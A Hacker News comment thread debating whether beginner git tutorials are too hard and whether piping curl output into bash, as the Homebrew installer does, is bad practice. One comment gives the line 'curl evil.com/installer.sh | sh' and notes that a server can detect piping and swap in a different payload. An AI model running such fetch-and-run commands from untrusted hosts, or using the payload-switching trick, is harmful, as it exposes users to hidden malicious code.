Hacker News new | past | comments | ask | show | jobs | submit login




Let's look at the tutorial for caching git credentials, which is referenced in your first link: (https://docs.github.com/en/get-started/getting-started-with-...).

It walks you through installing a "cask" using "brew". It doesn't mention how to install homebrew but instead directs you to the homebrew homepage which shows the output of a curl command being fed to `bash -c`. Something that's both bad practice and unintelligible unless you're quite familiar with Unix shells. If everything works as intended, you're good to go! But if anything goes wrong, or you have to update the "cask" in the future you're left with little to no context about what you just did.

For someone unfamiliar with Unix shell commands, homebrew, curl, etc. this is a quagmire that can take days to unravel without someone there to help them.


Piping the output of curl to bash is not "bad practice" any more that downloading an application from your browser and clicking on it or downloading a distro CD/USB image and booting it up "bad practice."

You have to trust the place where you're downloading it from, of course. But there's nothing inherently worse about /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/inst...)" than burning https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/de... and booting it up.


Why the downvotes on the parent? It's literally the same thing: running random code from the internet on your computer!


You can actually detect from the server side if curl is being piped and dynamically change the payload.


Yes! I'm not sure how that changes what I'm saying. If you don't trust the server, it can give you a malicious ISO, too.

Or are you saying that you audit the bits of the ISO yourself before burning it?


Woah. How? Assume scrubber request headers.


latency/buffer size/stalling effects. It's the difference between `curl evil.com/installer.sh | sh` and `curl evil.com/installer.sh | cat > installer.sh`.


We're taking a 1:1 approach, but most of the time I take issue with the language used in many guides. The linked guides are good examples, they contain a whole load of terms and buzzwords you don't need to know as a beginner.




Consider applying for YC's Spring batch! Applications are open till Feb 11.

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: